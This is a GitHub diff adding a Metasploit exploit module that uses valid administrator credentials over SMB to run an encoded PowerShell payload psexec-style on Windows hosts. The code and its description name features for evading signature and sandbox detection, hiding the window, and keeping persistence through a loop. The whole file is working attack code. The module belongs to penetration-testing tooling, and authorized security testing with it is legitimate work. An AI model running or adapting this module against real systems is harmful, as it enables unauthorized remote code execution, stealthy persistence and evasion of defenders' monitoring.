|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +## |
| 4 | +# This module requires Metasploit: http://metasploit.com/download |
| 5 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'msf/core/exploit/powershell' |
| 10 | + |
| 11 | +class MetasploitModule < Msf::Exploit::Remote |
| 12 | + Rank = ManualRanking |
| 13 | + |
| 14 | + # Exploit mixins should be called first |
| 15 | + include Msf::Exploit::Remote::SMB::Client::Psexec |
| 16 | + include Msf::Exploit::Powershell |
| 17 | + include Msf::Module::Deprecated |
| 18 | + |
| 19 | + deprecated(Date.new(2016, 4, 30), 'exploit/windows/smb/psexec') |
| 20 | + |
| 21 | + def initialize(info = {}) |
| 22 | + super(update_info(info, |
| 23 | + 'Name' => 'Microsoft Windows Authenticated Powershell Command Execution', |
| 24 | + 'Description' => %q{ |
| 25 | + This module uses a valid administrator username and password to execute a powershell |
| 26 | + payload using a similar technique to the "psexec" utility provided by SysInternals. The |
| 27 | + payload is encoded in base64 and executed from the commandline using the -encodedcommand |
| 28 | + flag. Using this method, the payload is never written to disk, and given that each payload |
| 29 | + is unique, is less prone to signature based detection. A persist option is provided to |
| 30 | + execute the payload in a while loop in order to maintain a form of persistence. In the |
| 31 | + event of a sandbox observing PSH execution, a delay and other obfuscation may be added to |
| 32 | + avoid detection. In order to avoid interactive process notifications for the current user, |
| 33 | + the psh payload has been reduced in size and wrapped in a powershell invocation which hides |
| 34 | + the window entirely. |
| 35 | + }, |
| 36 | + |
| 37 | + 'Author' => [ |
| 38 | + 'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module |
| 39 | + 'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders |
| 40 | + ], |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'Privileged' => true, |
| 43 | + 'DefaultOptions' => |
| 44 | + { |
| 45 | + 'WfsDelay' => 10, |
| 46 | + 'EXITFUNC' => 'thread' |
| 47 | + }, |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'Space' => 3072, |
| 51 | + 'DisableNops' => true |
| 52 | + }, |
| 53 | + 'Platform' => 'win', |
| 54 | + 'Targets' => |
| 55 | + [ |
| 56 | + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] |
| 57 | + ], |
| 58 | + 'DefaultTarget' => 0, |
| 59 | + 'DisclosureDate' => 'Jan 01 1999', |
| 60 | + 'References' => [ |
| 61 | + [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) |
| 62 | + [ 'OSVDB', '3106'], |
| 63 | + [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ], |
| 64 | + [ 'URL', 'http://sourceforge.net/projects/smbexec/' ], |
| 65 | + [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] |
| 66 | + ] |
| 67 | + )) |
| 68 | + |
| 69 | + register_options([ |
| 70 | + OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]), |
| 71 | + ], self.class) |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) |
| 76 | + if datastore['DryRun'] |
| 77 | + print_good command.inspect |
| 78 | + return |
| 79 | + end |
| 80 | + |
| 81 | + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] |
| 82 | + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") |
| 83 | + end |
| 84 | + |
| 85 | + # Try and authenticate with given credentials |
| 86 | + if connect |
| 87 | + begin |
| 88 | + smb_login |
| 89 | + rescue StandardError => autherror |
| 90 | + fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") |
| 91 | + end |
| 92 | + # Execute the powershell command |
| 93 | + print_status("Executing the payload...") |
| 94 | + begin |
| 95 | + return psexec(command) |
| 96 | + rescue StandardError => exec_command_error |
| 97 | + fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") |
| 98 | + ensure |
| 99 | + disconnect |
| 100 | + end |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | +end |
| 105 | + |
0 commit comments